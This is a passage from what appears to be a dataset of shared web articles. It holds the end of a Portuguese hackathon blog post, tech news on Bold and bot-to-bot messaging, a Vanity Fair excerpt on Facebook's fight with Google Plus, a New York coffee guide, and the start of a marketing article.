repetir várias vezes que estávamos pegando coisa pronta. �� Bom tínhamos o tradutor mas precisávamos fazer mais, precisávamos colocar esse tradutor no site da globo e no mais importante, colocar ele no streaming da globo funcionando em tempo real com a programação que estivesse passando. Chamamos vários dos mentores para nos ajudar e até tivemos a sugestão de colocar um surdo na nossa apresentação o que seria lindo! Fizemos de tudo para conseguir o streaming da Globo e o close captions em tempo real, mas a Globo não nos disponibilizou esses dados e acessos. Então a solução foi colocar em videos do Youtube. Tínhamos somente 5 minutos de apresentação então praticamos como apresentar isso sem perder os 2 maiores pontos.. o que fizemos e o quanto é importante ter esse projeto funcionando na TV brasileira. Veio a madrugada e estávamos Tranquilo e Favorável!!! Fizemos o justo, curtimos a casa, jogamos futebol, comemos muita pizza, humburguers, redbull �� e até Cup Noodles na cafeteira eu fiz! Domingo (10 abril) chegou e estávamos mortos se dormimos foi no máximo 1h, passamos e repassamos como iríamos apresentar. Mas também queria conhecer e conversar com o máximo de pessoas que estavam ali, sim, porque eram pessoas que eu admirava por ter o conhecimento que tinham, todos que chegaram ali de alguma forma tinha um conhecimento em algo bacana e queria explorar isso. E então começou as apresentações e o primeiro grupo foi o nosso, muita gente perdeu por causa disso, mas gravamos akkakkakaka. Depois da apresentação não me importava mais se íamos ganhar ou não, por que já tinha ganhado. Uma experiência como aquela é o maior prêmio que alguém podia ganhar. Mas depois que todos os grupos apresentarem e começaram a perguntar quais grupos além do seu tinham gostado, as coisas mudaram, muita gente falou que tinha gostado do nosso projeto e isso nos deu uma confiança que era melhor não ter. Lembro do Matheus novamente na duvida se ganharíamos ou não. Mas a única coisa que realmente nos preocupava era a pergunta da jurada Camila Achutt sobre ter usado o avatar da Prodeaf. Veio os ganhadores e tivemos a confirmação que algo que fizemos de certa forma desclassificou da competição, pois não estávamos em nenhuma das premiações apesar de várias pessoas falar que nosso projeto tinha grandes changes de levar algum prêmio. Depois do fim do evento conversamos com algumas mentores e tentamos entender se o fato de ter usado o avatar de outra empresa nos tirou da competição, isso foi ruim pois não tivemos uma reposta e a Camila Achutt que poderia nos responder foi embora logo em seguida, ou seja, ficamos sem resposta para isso. Mas fiquei lá mais tempo pois nessa hora tinha cerveja e claro que onde tem cerveja eu estou! kakakakka. Incrível como desmontaram tudo em 20 minutos. Considero nosso time um time vencedor, acho que aproveitamos tudo! O local, a comida, as pessoas e até nosso projeto. Sim estamos estudando como fazer o avatar melhor do que usamos e queremos coloca-lo open source. Agradeço a Globo por ter feito o convite, com certeza marcou bastante minha carreira profissional, espero voltar ao Rio novamente para tomar uma cerveja com aquela galera da produção. Ah e por fim... Spaceteam (game mobile) é fodah! akkakak Obrigado a todos!... e se você leu até aqui. COMENTA! kakkaka me ajuda escrever mais. ��",pt
1465333403,CONTENT SHARED,7804826445069770894,-1032019229384696495,-7696592431575292648,,,,HTML,http://techcrunch.com/2016/06/07/bold/,"Secret's founder returns with Bold, a Medium for enterprise","David Byttow learned just how much goes unsaid inside companies while he was running Secret. Blasting private information out publicly causes harassment, which led Secret to flame out and give investors back some of their money. But now Byttow is channeling his insight into a new startup called Bold , which he tells me is a ""platform for writing long-form content at work. Use cases include things like engineering tutorials, product specs, memos, onboarding docs, etc."" Bold's bots and bot platform can help you write better, a Discuss on Slack button lets posts instantly start internal conversations, and you can even right in code. Polished pieces can be flipped to become publicly visible. One surprise: there's no anonymity. Byttow tells me ""It's incredibly important that people feel like they have a place to share their thoughts, but anonymity is not the answer because it's polarizing and can skew toward negativity. Positivity and optimism are key, especially in growing companies. So we decided not to add anonymity as an option."" For now, Bold is in free private beta as a publishing and editing platform, but will eventually charge on a per-use, per-month basis. You can register here for early access. Byttow was originally funding Bold, but his four-person team pulled in $1 million from Index Ventures this summer. That's despite Byttow taking $3 million cash off the table for himself during Secret's $25 million Series B less than a year before the startup imploded . Secret had amassed 15 million registered users before flaming out. The problem was that with little info about them, they were tough to monetize. This time around, Byttow tells me ""we want to build a product that companies will want to pay for because it's the best and provides functionality that nobody else is doing."" Bold will have to battle with Google Docs, Dropbox, Paper, internal WordPress installations, and other places to keep company text. And if businesses want to speak to the world, they can always hop on Medium. But Byttow is betting on bots to give Bold an edge. These ""Assistants"" live on the otherwise clean writing canvas, and give you advice or keep you calm. He says the move was inspired by when ""A long time ago, I worked on a Google Wave robot system."" Byttow writes ""The Hemingway assistant makes your sentences more concise and active by suggesting changes as you type. The Ambience assistant helps you think by playing ambient background noise, such sounds reminiscent of sitting on a rainy day."" Bold is also planning a third-party platform so devs can build their own assistants, which could make the startup more defensible. Without the protection of anonymity, employees might be apprehensive to change behavior and post their thoughts instead of more quietly telling their managers. The challenge will be for Bold to prove its necessary. Yes, ""Everyone has opinions and ideas, yet they often go unshared"", as Byttow writes. But there are plenty of good-enough ways to distribute them that don't cost a monthly fee.",en
1465334139,CONTENT SHARED,-5997769775112032630,-1032019229384696495,-7696592431575292648,,,,HTML,http://venturebeat.com/2016/06/05/how-bot-to-bot-could-soon-replace-apis/,How bot-to-bot could soon replace APIs,"By now it's clear that bots will cause a major paradigm shift in customer service, e-commerce, and, quite frankly, all aspects of software-to-human interaction. For the moment, the state of the art of bots is bot-to-consumer, meaning bots communicating with humans. But at some point soon, bots will start talking to other bots. Enter the bot-to-bot era. Imagine that a bot - let's call her Annie - needs to answer a question from a customer but lacks information from her own backend systems. Annie is powered with artificial intelligence and spontaneously decides to reach out to another bot to get the information she needs. Annie aggregates the information and delivers it back to the customer. Death of the API ? Today when two software systems have to talk to each other, software developers need to implement an integration using APIs (application programming interfaces). This integration process is time consuming. That's why, over the last couple of years, services such as Zapier , Scribe , and IFTT have become popular. They provide out-of-the-box interfaces to hundreds of software applications, allowing you to connect, for example, your CRM system with a mailing tool or analytics platform. In the bot-to-bot era, however, each software application can talk to each other system, regardless of whether they have an actual API integration in place. Granted, bot-to-bot communication will not be used to exchange large amounts of data, but it will allow for ad-hoc communication between, for example, my banking software and a web shop. My banking software could talk to the webshop bot and ask for that missing invoice: ""Niko needs an invoice for order 45678, can you provide that?"" The big finale: bot-to-bot-to-consumer The beauty of bot-to-bot communication will be that it is in plain English, it will be conversations that every human can understand. Assuming that all conversations between my bot Annie and other bots are archived, I will be able to go back and see how my two little bots came to a certain conclusion. In my banking example, when an invoice is missing after all, I could click on a ""details"" button, which would show me the conversation Annie had with the webshop. The archived bot-to-bot conversation would show me the webshop bot response, that the invoice will not be available for another couple of weeks. But it gets better. If my bot is stuck in a conversation with another bot, she can call me in for help: ""Niko, it's Annie here, your finance bot. I'm talking to a supplier, but I'm having some trouble understanding what they are saying."" I could chime in - when I have time of course, a couple of hours later, since bots have unlimited patience - and I would rephrase the question of Annie and get the answer from the other bot. Next, Annie could continue the conversation and handle my business. Semantic web Didn't we talk about connecting every online service with every other online service 10 years ago? What was it called again? The Semantic web? Every website was going to be annotated using standard data formats, allowing other services to crawl that data and use it in their own business logic. I believe that bots will deliver on that promise in the next 3 to 5 years, and this will not mean that all data will have to be uniformly formatted. Instead, bots will expose online services and data in plain English, allowing both humans and other bots to interact, even if they have never communicated before. Calling all software developers So, software developers, when you develop your platform for e-commerce, online marketing, finance, ERP or any other software solution, please think about the implementation of a smart bot, besides your traditional APIs, so next time when I buy a new BBQ online, my bot will alert me that it's going to rain for the next two weeks. Niko Nelissen is VP of Mobile, Data and Engagement at Etouches , an event management solution. Follow Niko on Twitter. AI. Messaging. Bots. Arm yourself for the next paradigm shift at MobileBeat 2016. July 12-13 at The Village in San Francisco. Reserve your place here.",en
1465335719,CONTENT SHARED,3320201327008235211,-1032019229384696495,-7696592431575292648,,,,HTML,http://www.vanityfair.com/news/2016/06/how-mark-zuckerberg-led-facebooks-war-to-crush-google-plus,How Mark Zuckerberg Led Facebook's War to Crush Google Plus,"Mark Zuckerberg is a genius. Not in the Asperger's, autistic way depicted in the very fictional movie The Social Network , the cognitive genius of exceptional ability. That's a modern definition that reduces the original meaning. Nor would I say he was the Steve Jobsian product genius, either. Anyone claiming as much will have to explain the crowded graveyard of forgotten Facebook product failures. Remember ""Home,"" the Facebook-enabled home screen for Android phones, launched with much fanfare at a Facebook press event in 2013, Zuck appearing alongside the C.E.O. of the soon-to-be-disappointed smartphone-maker HTC? Or Facebook's misguided bet on HTML5 in 2012, which slowed the mobile app to a frustrating crawl? How about Facebook's first version of Search, available in English only, mostly useful for checking out your friends' single female friends, and since discontinued? The stand-alone mobile app Paper, which was a shameless rip-off of Flipboard? Some unlaunched products I can't name consumed massive resources, dying internally after Zuck changed his mind and shut them down. If he's a product genius, then there's lots of serendipity counterbalancing his divine madness. No. I submit he is an old-school genius, the fiery force of nature possessed by a tutelary spirit of seemingly supernatural provenance that fuels and guides him, intoxicates his circle, and compels his retinue to be great as well. The Jefferson, the Napoléon, the Alexander... the Jim Jones, the L. Ron Hubbard, the Joseph Smith. Keeper of a messianic vision that, though mercurial and stinting on specifics, presents an overwhelming and all-consuming picture of a new and different world. Have a mad vision and you're a kook. Get a crowd to believe in it as well and you're a leader. By imprinting this vision on his disciples, Zuckerberg founded the church of a new religion. All the early Facebook employees have their story of the moment when they saw the light and realized that Facebook wasn't some measly social network like MySpace but a dream of a different human experience. With all the fervor of recent converts, newly recruited followers attracted other committed, smart, and daring engineers and designers, themselves seduced by the echoes of the Zuckian vision in others. Down in the Valley Then there was the culture he created. Many cool Valley companies have engineering-first cultures, but Facebook took it to a different level. The engineers ran the place, and so as long as you shipped code and didn't break anything (too often), you were golden. The spirit of subversive hackery guided everything. In the early days, a Georgia college kid named Chris Putnam created a virus that made your Facebook profile resemble MySpace, then the social-media incumbent. It went rampant and started deleting user data as well. Instead of siccing the F.B.I. dogs on Putnam, Facebook co-founder Dustin Moskovitz invited him for an interview and offered him a job. He went on to become one of Facebook's more famous and rage-filled engineers. That was the uniquely piratical attitude: if you could get shit done and quickly, nobody cared much about credentials or traditional legalistic morality. The hacker ethos prevailed above all. This culture is what kept 23-year-old kids who were making half a million a year, in a city where there was lots of fun on offer if you had the cash, tethered to a corporate campus for 14-hour days. They ate three meals a day there, sometimes slept there, and did nothing but write code, review code, or comment on new features in internal Facebook groups. On the day of the I.P.O.-Facebook's victory rally-the Ads area was full of busily working engineers at eight P.M. on a Friday. All were at that point worth real money-even fuck-you money for some-and all were writing code on the very day their paper turned to hard cash. At Facebook, your start date was celebrated by the company the way evangelicals celebrate the day they were baptized and found Jesus, or the way new American citizens celebrate the day they took their oath in front of the flag. This event was called (really) your Faceversary, and every colleague would rush to congratulate you on Facebook (of course), just as normal people did for one another on their birthdays. Often the company or your colleagues would order you a garish surprise bouquet for your desk, with one of those huge Mylar balloons in the shape of a 2 or whatever. When someone left Facebook (usually around when the balloons said 4 or 5), everyone would treat it as a death, as if you were leaving the current plane of existence and going to another one (though it wasn't assumed this next plane would be better than the current one). The tombstone of your Facebook death was a photo posted on Facebook of your weathered and worn corporate ID. It was customary to include a weepy suicide note/self-written epitaph, and the post would garner hundreds of likes and comments inside a minute. To the deceased, it felt like a passing, too. When you left Facebook, you left the employee-only Facebook network, which meant that all the posts from internal groups (with secret company stuff) were gone, your posts got less distribution among other Facebook employees (who were on it 24/7, of course), and your Facebook feed, which had become your only social view of the world, suddenly slowed to a near-empty crawl. Almost instantly, someone would add you to the ex-Facebook secret groups, which served as a sort of post-employment purgatory where former employees discussed the company. Pause and consider all this for a lingering moment: the militant engineering culture, the all-consuming work identity, the apostolic sense of devotion to a great cause. The cynics will read statements from Zuckerberg or some other senior exec about creating ""a more open and connected world"" and think, ""Oh, what sentimental drivel."" The critics will read of a new product tweak or partnership and think Facebook is doing it only to make more money. They're wrong. Facebook is full of true believers who really, really, really are not doing it for the money, and really, really will not stop until every man, woman, and child on earth is staring into a blue-bannered window with a Facebook logo. Which, if you think about it, is much scarier than simple greed. The greedy man can always be bought at some price, and his behavior is predictable. But the true zealot? He can't be had at any price, and there's no telling what his mad visions will have him and his followers do. That's what we're talking about with Mark Elliot Zuckerberg and the company he created. In June 2011, Google launched an obvious Facebook copy called Google Plus. Obnoxiously wired in to other Google products like Gmail and YouTube, it was meant to join all users of Google services into one online identity, much as Facebook did for the Internet as a whole. Given you had a Google Plus sign-up button practically everywhere in your Google user experience, the possibility of its network growing exponentially was very real indeed. Also, the product itself was pretty good, in some ways better than Facebook. The photo sharing was better and more geared to serious photographers, and much of the design cleaner and more minimalist. An additional plus for Google Plus: it had no ads, as Google could subsidize it with AdWords, its paid-search gold mine. This was the classic one-hand-washing-the-other tactic of the ruthless monopolist, like Microsoft using the revenue from Windows to crush Netscape Navigator with Explorer back in the 90s. By owning search, Google would bankroll taking over social media as well. This sudden move was somewhat surprising. For years Google had been famously dismissive of Facebook, the rarefied heights of its search monopoly making it feel untouchable. But as the one-way parade of expensive talent from Google to Facebook continued with no end in sight, Google got nervous. Companies are like countries: the populations really vote only with their feet, either coming or going. Google instituted a policy whereby any desirable Googler who got a Facebook offer would have it beaten instantly by a heaping Google counter-offer. This, of course, caused a rush of Googlers to interview at Facebook, only to use the resulting offer as a bargaining chip to improve their Google pay. But many were legitimately leaving. The Googlers at Facebook were a bit like the Greeks during the rise of the Roman Empire: they brought lots of civilization and tech culture with them, but it was clear who was going to run the world in the near future. Google Plus was Google finally taking note of Facebook and confronting the company head-on, rather than via cloak-and-dagger recruitment shenanigans and catty disses at tech conferences. It hit Facebook like a bomb. Zuck took it as an existential threat comparable to the Soviets' placing nukes in Cuba in 1962. Google Plus was the great enemy's sally into our own hemisphere, and it gripped Zuck like nothing else. He declared ""Lockdown,"" the first and only one during my time there. As was duly explained to the more recent employees, Lockdown was a state of war that dated to Facebook's earliest days, when no one could leave the building while the company confronted some threat, either competitive or technical. How, might you ask, was Lockdown officially announced? We received an e-mail at 1:45 P.M. the day Google Plus launched, instructing us to gather around the Aquarium, the glass-walled cube that was Zuck's throne room. Actually, it technically instructed us to gather around the Lockdown sign. This was a neon sign bolted to the upper reaches of the Aquarium, above the cube of glass, almost like the NO VACANCY sign on a highway motel. By the time the company had gathered itself around, that sign was illuminated, tipping us off to what was coming. Zuckerberg was usually a poor speaker. His speech came at the rapid clip of someone accustomed to analyzing language for content only, and at the speed of a very agile mind that didn't have time for rhetorical flourishes. It was geek-speak, basically, the English language as spoken by people who have four screens of computer code open at once. His bearing was aloof and disconnected from his audience, and yet he maintained that intense stare that bordered on the psychopathic. It was an unnerving look that had irrevocably rattled more than one interlocutor, typically some poor employee undergoing a withering product review, and it stared out from every Fortune or Time cover he graced. It was easy to project a creepy persona onto that gaze. That unfortunate first impression, plus the mischaracterization in the film The Social Network , was probably responsible for half of the ever present suspicion and paranoia surrounding Facebook's motives. But occasionally Zuck would have a charismatic moment of lucid greatness, and it would be stunning. The 2011 Lockdown speech didn't promise to be one of those moments. It was delivered completely impromptu from the open space next to the stretch of desks where the executive staff sat. All of Facebook's engineers, designers, and product managers gathered around him in a rapt throng; the scene brought to mind a general addressing his troops in the field. The contest for users, he told us, would now be direct and zero-sum. Google had launched a competing product; whatever was gained by one side would be lost by the other. It was up to all of us to up our game while the world conducted live tests of Facebook versus Google's version of Facebook and decided which it liked more. He hinted vaguely at product changes we would consider in light of this new competitor. The real point, however, was to have everyone aspire to a higher bar of reliability, user experience, and site performance. In a company whose overarching mantras were DONE IS BETTER THAN PERFECT and PERFECT IS THE ENEMY OF THE GOOD, this represented a course correction, a shift to the concern for quality that typically lost out to the drive to ship. It was the sort of nagging paternal reminder to keep your room clean that Zuck occasionally dished out after Facebook had suffered some embarrassing bug or outage. Rounding off another beaded string of platitudes, he changed gears and erupted with a burst of rhetoric referencing one of the ancient classics he had studied at Harvard and before. ""You know, one of my favorite Roman orators ended every speech with the phrase Carthago delenda est. 'Carthage must be destroyed.' For some reason I think of that now."" He paused as a wave of laughter tore through the crowd. The aforementioned orator was Cato the Elder, a noted Roman senator and inveigher against the Carthaginians, who clamored for the destruction of Rome's great challenger in what became the Third Punic War. Reputedly, he ended every speech with that phrase, no matter the topic. Carthago delenda est. Carthage must be destroyed! Zuckerberg's tone went from paternal lecture to martial exhortation, the drama mounting with every mention of the threat Google represented. The speech ended to a roar of cheering and applause. Everyone walked out of there ready to invade Poland if need be. It was a rousing performance. Carthage must be destroyed! In the Trenches The Facebook Analog Research Laboratory jumped into action and produced a poster with CARTHAGO DELENDA EST splashed in imperative bold type beneath a stylized Roman centurion's helmet. This improvised printshop made all manner of posters and ephemera, often distributed semi-furtively at nights and on weekends, in a fashion reminiscent of Soviet samizdat. The art itself was always exceptional, evoking both the mechanical typography of W.W. II-era propaganda posters and contemporary Internet design, complete with faux vintage logos. This was Facebook's ministry of propaganda, and it was originally started with no official permission or budget, in an unused warehouse space. In many ways, it was the finest exemplar of Facebook values: irreverent yet bracing in its martial qualities. The Carthago posters went up immediately all over the campus and were stolen almost as fast. It was announced that the cafés would be open over the weekends, and a proposal was seriously floated to have the shuttles from Palo Alto and San Francisco run on the weekends, too. This would make Facebook a fully seven-days-a-week company; by whatever means, employees were expected to be in and on duty. In what was perceived as a kindly concession to the few employees with families, it was also announced that families were welcome to visit on weekends and eat in the cafés, allowing the children to at least see Daddy (and, yes, it was mostly Daddy) on weekend afternoons. My girlfriend and our one-year-old daughter, Zoë, came by, and we weren't the only family there, by any stretch. Common was the scene of the swamped Facebook employee with logo'd hoodie spending an hour of quality time with his wife and two kids before going back to his desk. And what was everyone working on? For those in the user-facing side of Facebook, it meant thinking twice on a code change amid the constant, hell-for-leather dash to ship some new product bell or whistle, so we wouldn't look like the half-assed, thrown-together, social-media Frankenstein we occasionally were. For us in the Ads team, it was mostly corporate solidarity that made us join the weekend-working mob. At Facebook, even then and certainly later, you got along by going along, and everyone sacrificing his or her entire life for the cause was as much about self-sacrifice and team building as it was an actual measure of your productivity. This was a user battle, not a revenue one, and there was little we could do to help wage the Google Plus Punic War, other than not totally horrifying users with some aggressive new Ads product-something nobody had the nerve to do in those pre-I.P.O. days. Internal Facebook groups sprang up to dissect every element of the Google Plus product. On the day Plus launched, I noted an Ads product manager named Paul Adams in close conversation with Zuckerberg and a couple members of the high command inside a small conference room. As was well known, before he defected to Facebook, Paul had been one of the product designers for Google Plus. Now that the product had launched, presumably he was no longer restrained by a non-disclosure agreement with Google, and Facebook was having him walk the leadership through the public aspects of Google Plus. Facebook was not fucking around. This was total war. I decided to do some reconnaissance. En route to work one Sunday morning, I skipped the Palo Alto exit on the 101 and got off in Mountain View instead. Down Shoreline I went and into the sprawling Google campus. The multicolored Google logo was everywhere, and clunky Google-colored bikes littered the courtyards. I had visited friends here before and knew where to find the engineering buildings. I made my way there and contemplated the parking lot. It was empty. Completely empty. Interesting. I got back on the 101 North and drove to Facebook. At the California Avenue building, I had to hunt for a parking spot. The lot was full. It was clear which company was fighting to the death. Carthage must be destroyed! While Zuck wouldn't burn Google to the ground, take the wives and children of Google employees as slaves, and salt the grounds of the former Google offices so nothing would grow there for generations, as some say Rome did to Carthage, it was still about as ignominious a defeat as one got in the tech world. Not that this was clear from the first skirmishes, mind you. In fact, the initial signs were more than alarming. Google Plus wasn't some halfhearted effort by Google to knock off a pesky upstart. The news coming out of Google, leaked via the press, or via current Google employees (former colleagues to many Facebookers, who'd come from their current mortal rival), was that all of Google's internal product teams were being re-oriented in favor of Google Plus. Even Search, then and now the most frequented destination on the Web, was being dragged into the fray and would supposedly sport social features. Search results would now vary based on your connections via Google Plus, and anything you shared-photos, posts, even chats with friends-would now be used as part of Google's ever powerful and mysterious search algorithm. This was shocking news, even more so to Googlers. Search was the company's tabernacular product, the holy of holies, the on-line oracle of human knowledge that had replaced libraries and encyclopedias. By all accounts (and Google information security was clearly not as good as Facebook's), this caused a considerable stir internally. In January 2012, Google co-founder Larry Page, at the companywide Q&A session known as ""TGIF,"" addressed this new direction forcefully, quelling the internal dissent and reportedly vowing: ""This is the path we're headed down-a single, unified, 'beautiful' product across everything. If you don't get that, then you should probably work somewhere else."" Gauntlet thrown down, Google products were soon ranked via one unique metric-how much did they contribute to Google's social vision?-and were either consolidated or discarded appropriately. Ne Plus Ultra? As part of the budding media seduction around this new product, Google posted eye-popping usage numbers. In September 2012, it announced that the service had 400 million registered users and 100 million active ones. Facebook hadn't even quite reached a billion users yet, and it had taken the company four years to reach the milestone-100 million users-that Google had reached in one. This caused something close to panic inside Facebook, but as we'd soon learn, the reality on the battlefield was somewhat different than what Google was letting on. This contest had so rattled the search giant, intoxicated as they were with unfamiliar existential anxiety about the threat that Facebook posed, that they abandoned their usual sober objectivity around engineering staples like data and began faking their usage numbers to impress the outside world, and (no doubt) intimidate Facebook. This was the classic new-product sham, the ""Fake it till you make it"" of the unscrupulous startupista, meant to flatter the ego and augment chances of future (real) success by projecting an image of current (imagined) success. The numbers were originally taken seriously-after all, it wasn't absurd to think Google could drive usage quickly-but after a while even the paranoid likes of Facebook insiders (not to mention the outside world) realized Google was juicing the numbers, the way an Enron accountant would a revenue report. Usage is always somewhat in the eye of the beholder, and Google was considering anyone who had ever so much as clicked on a Google Plus button anywhere as part of their usual Google experience a ""user."" Given the overnight proliferation of Google Plus buttons all over Google, like mushrooms on a shady knoll, one could claim ""usage"" when a Google user so much as checked e-mail or uploaded a private photo. The reality was Google Plus users were rarely posting or engaging with posted content, and they certainly weren't returning repeatedly like the proverbial lab rat in the drug experiment hitting the lever for another drop of cocaine water (as they did on Facebook). When self-delusion and self-flattery enter the mind-set of a product team, and the metrics they judge themselves by, like the first plague rat coming onto a ship, the end is practically preordained. The face of Google Plus could not have been more perfect: Vic Gundotra was a former Microsoft exec who'd climbed the treacherous corporate ladder there before jumping to Google. It was he who had whispered a litany of fear into the ear of Google co-founder Larry Page, who had green-lit the project, and it was he who headed the rushed and top-down effort (unusual for Google) to ship a product within an ambitious 100 days. A certain resinous smarminess coated Gundotra, like a thin layer of annoying motor oil on a socket wrench, never letting you get a real grip on it. And toolish he was, stumping loudly for Google Plus in countless media interviews and at Google-sponsored events. What was most insulting to a Facebooker was his studiously avoiding mentioning the social-media behemoth in public statements, as if the very raison d'être for his now towering presence at Google didn't even exist. Like some Orwellian copywriter, engineering language and perception to suit a fictional reality, Google would rarely mention the Facebook elephant in the room in any public statement, insulting any viewer by suggesting they had practically invented the notion of Internet-mediated social interaction. ""Networks are for networking,"" intoned Gundotra, any reference to Facebook always oblique and dismissive. ""Circles are for the right people,"" he continued, referring to Google Circles, a way of organizing social contacts, shamelessly copied from Facebook's long-ignored Lists feature. Vic's mere visage had an almost Emmanuel Goldstein-esque quality, and many were the rips and the gibes that he suffered in internal groups, a socially mediated Two-Minute Hate, whenever someone posted a link to some pro-Google bloviation of his. This had gone beyond mere corporate rivalry to become a personal struggle to Facebookers, many of whom saw their identities wrapped up in the company, Facebook as an expression of themselves (or was it vice versa?). In April of 2014, after the Google-Facebook war had mostly run its course, Vic suddenly announced he was leaving Google. There was a ""Ding Dong the Witch is Dead"" note of triumph inside Facebook, as everyone breathed a sigh of relief at the passing threat. Like a general's fall marking the rout of his army, Vic's departure was as clear a sign as any that Google had given up on social, sucking up a defeat at the hands of a company it had previously ignored, if not held in outright contempt. This was only confirmed when it was simultaneously revealed that many Google Plus product teams, such as the chat app Hangouts and the photo-sharing app Photos, would be rolled into the Android team, the mobile operating system Google owned. Google spun it as Google Plus becoming not a ""product"" but a ""platform,"" a sort of general-use tool that would enhance the user experience across Google's wide array of products. It was like a government announcing their army was not in retreat but rather advancing in reverse, and everyone at Facebook saw through the face-saving P.R. wordplay. Google Plus was over; Facebook had won. The Lockdown circling of the wagons had triumphed. The long-term conclusion was this: Facebook lived inside an unassailable redoubt of its own social network, a fortress that was completely impregnable, at least to conventional assaults via lots of money and smart people, as Google had attempted. Once everyone and his mother was on Facebook, they weren't leaving it, even when the Internet's most used site (i.e., Google Search itself) was used as inducement to join. While Facebook clearly outpaced Google in focus and esprit de corps, the plucky upstart against the complacent incumbent, there was still the issue of revenue. Google's was still more than five times Facebook's, and the social-media giant, for however many hours of user time it managed to ingest via its blue-bannered maw, still wasn't monetizing users very well. If Facebook was ever to really hold its own against Google (not to mention revenue geysers like Apple and Amazon), it would need its own revenue geyser, like Google's AdWords or Apple's iPhone. In pursuit of that, Facebook would embark on an ambitious and ill-conceived company-spanning project of its own. Like Google Plus, that product would consume the company entirely, only to end in the smoldering ruin of abject failure. But from those ashes, plus the anxiety of a looming I.P.O., Facebook would finally find its own gold mine: monetizing mobile usage. Adapted from Chaos Monkeys: Obscene Fortune and Random Failure in Silicon Valley , by Antonio García Martínez , to be published this month by Harper, an imprint of HarperCollins Publishers; © 2016 by the author.",en
1465335780,CONTENT SHARED,3547081132182529111,-1032019229384696495,-7696592431575292648,,,,HTML,http://www.grubstreet.com/bestofnewyork/best-coffee-nyc.html,The Absolute Best Coffee in New York,"Photo: Melissa Hom For six weeks, the editors of New York Magazine and Grub Street are publishing a series of definitive lists that declare the absolute best versions of 101 things to eat, drink, and do . Right now it's time to talk coffee. Once a city of watery industrial brews and diner coffee, New York is saturated with great espresso, cold brew, and pour-overs - but some places just do it better. Here, the best places to drink coffee in New York rightnow. The Absolute Best 1. 84 Havemeyer St., at Metropolitan Ave., Williamsburg;718-218-9100 There are two main things you should know right up-front about the shop serving the city's best coffee: It is hidden behind a barbershop, speakeasy-style, in Williamsburg. Next, and perhaps more important: It only serves espresso. There is no canteen of batch-brewed drip coffee, no high-end siphons, not even a French press. Instead, there is espresso, and only one variety at a time. Yet what might at first seem like limitations instead reveals itself to be a kind of maniacal, single-minded devotion, ensuring every single shot pulled receives the staff's complete focus, from the time it's roasted locally until the moment it drips out of the shop's sleek, rare Speedster machine that was hand-built in the Netherlands. There is one concession: milk, which is carefully foamed and used in the shop's cortado, which balances slightly tart beans with a small dollop ofdairy. At Everyman's two cafés in the East Village and Soho , there's an inquisitive, creative approach that stands apart from other shops in town. If Parlor succeeds by narrowing the focus, Everyman broadens it just enough, offering three rotating varieties of espresso; two filter coffees, currently from Honduras and Papua New Guinea, brewed in batches; and brewed-to-order in an Aeropress or Chemex. Espresso drinks are a particular strength, in part because the coffee avoids bitterness while maintaining plenty of complexity. Champion barista Sam Lewontin, who runs the Soho shop, even offers coffee ""cocktails"" fashioned after boozy drinks, like a citrusy, smooth coffee old-fashioned that's far better than it has any right tobe. Sweetleaf is one of New York's most successful homegrown cafés, steadily expanding over the last eight years without a decline in quality along the way. Celebrated early on for carrying a variety of beans from top micro-roasters, the company now roasts its own coffee and typically offers four to six types of beans at each shop. Owner Rich Nieto favors Colombian beans and supplements those with seasonal selections, like Ethiopian, Guatemalan, and Kenyan varieties this summer. The espresso tends to be balanced, appropriately thick, and bracingly acidic. There are also notable specialty drinks like the Voodoo Child, a creamy Vietnamese coffee that's best as an afternoon dessert, and the popular Rocket Fuel, which is cold-brewed coffee with chicory, maple syrup, andmilk. Upstate roaster Plowshares may not have the name recognition of competitors like Parlor, Blue Bottle, or Ritual - but that needs to change. Owner Anthony Kurutz roasts beans in truly small batches that he says never exceed 30 pounds, to ensure freshness and quality control. Each type of bean is roasted according to its properties and flavors, but the resulting coffee all marries the bright, clear flavors of the best blonde roasts with the heft and slight caramel flavors of a darker roast. At Kurutz's Upper West Side café, the staff puts those beans in the spotlight in a small space with a few tables and a couple of small counters. There's a flight of Chemex coffeemakers for pour-over, a La Marzocco machine for espresso, and a high tech Modbar, which features electronic components, a touch screen, and extensive controls over variables like cleaning, brewing temperature, andmore. Founder James Freeman is a notorious perfectionist. It might seem like there's a new Blue Bottle shop popping up in every neighborhood in town, and the company has become one of the biggest names of the so-called ""third wave"" coffee movement, but Freeman has been surprisingly careful about expanding his Oakland-based empire, going so far as to shut down his wholesale bean-sales business because the company couldn't control how other cafés served Blue Bottle coffee. For those lucky enough to have one of New York's eight Blue Bottle shops nearby, this is a blessing. The coffee is roasted in Williamsburg, the chain's unofficial New York headquarters, and the resulting beans tend to be blonder with fruity flavors accentuated. There are espresso machines of various makes - some custom - at different locations, single-origin pour-overs, iced-coffee drippers in Williamsburg, and the cult-favorite New Orleans-style cold brew, also available in to-go cartons, which should be everyone's unofficial coffee of thesummer.",en
1465348582,CONTENT SHARED,7653591914898297019,-1032019229384696495,3621737643587579081,,,,HTML,http://techcrunch.com/2016/06/07/the-battle-for-the-post-digital-world/,The battle for the post-digital world,"Marketing in a post-digital world was a major theme of 2016 Forrester Research Marketing Forum held in New York recently. At the event , analyst Carl Doty defined the post-digital world as one in which digital is embedded in our daily lives . In that context, he described the evolution of marketing: pre-digital marketing meant using mass media in a one-to-many approach; digital marketing was about data-driven, one-to-one personalization; and post-digital marketing means one-to-moment marketing. One-to-moment marketing has been on the agenda of major brands and thought leaders for the past few years. Forrester's Julie Ask opened the conversation about one-to-moment marketing in 2014 when she urged brands to think of mobile marketing as an opportunity to create content that matters to consumers based on the context of their moment. Google then rolled out a large body of research around micro-moments , or times when consumers use their mobile devices to decide on things to buy, things to do and places to go. Since 2015, Google has been updating its research with examples of brands that understand how to create contextual content, such as mobile wallet offers that make themselves relevant during those crucial moments of decision making. As Deloitte reported , Americans check their smartphones collectively 8 billion times a day. The key for brands is to be present during those moments with content that helps them figure out where to go and what to do instead of serving up intrusive ads. According to Doty, ""Marketers must win in customers' moments. These moments are your opportunity to deliver your brand promise no matter when or where that customer is."" In his view, one-to-moment marketing means anticipating what a customer wants and being present with the right information - for instance, a motorcycle dealer such as Harley-Davidson being present with useful location information when a customer searches for ""dealer near me"" or ""compare bike models."" The big four - Amazon, Apple, Facebook and Google - intend to embed themselves in every moment. Here are some examples of how they're doing it. Google Now In 2012, Google took a big step to own micro-moments by launching Google Now. is significant because it anticipates our search behavior and proactively offers suggestions on what to do, where to go and what to buy (based on what Google knows about our search habits). Google does not intend to give up ground to anyone. With Google Now, Google has become a more helpful utility for both consumers (by assisting in their decision making) and brands (by serving up information about them, such as suggestions for where to buy coffee based on the data that 